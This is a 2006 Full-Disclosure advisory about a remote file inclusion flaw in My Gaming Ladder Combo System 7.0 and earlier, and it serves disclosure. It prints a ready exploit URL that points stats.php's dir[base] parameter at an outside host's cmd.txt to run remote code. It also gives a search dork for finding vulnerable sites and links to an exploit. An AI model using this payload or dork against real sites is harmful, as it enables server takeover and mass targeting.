--Security Report-- Advisory: My Gaming Ladder Combo System <= 7.0 Remote File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 22/04/06 13:37 PM --- Contacts:{ ICQ: 10072 MSN/Email: [EMAIL PROTECTED] Web: http://www.nukedx.com } --- Vendor: MyGamingLadder (http://www.mygamingladder.com/) Version: 7.0 and prior versions must be affected. About: Via this methods remote attacker can include arbitrary files to My Gaming Ladder Combo System. Level: Highly Critical --- How&Example: Succesful exploitation needs allow_url_fopen set to 1 and register_globals on GET -> http://[victim]/[LadderPath]/stats.php?dir[func]=&dir[base]=[FILE] EXAMPLE ->
http://[victim]/[LadderPath]/stats.php?dir[func]=&dir[base]=http://yourhost.com/cmd.txt? --- Timeline: * 22/04/2006: Vulnerability found. * 22/04/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=28 --- Dorks: "Ladder Scripts by http://www.mygamingladder.com" --- Credits: zipitcs , str0ke , RootShell Security Team and all my friends --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=28 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/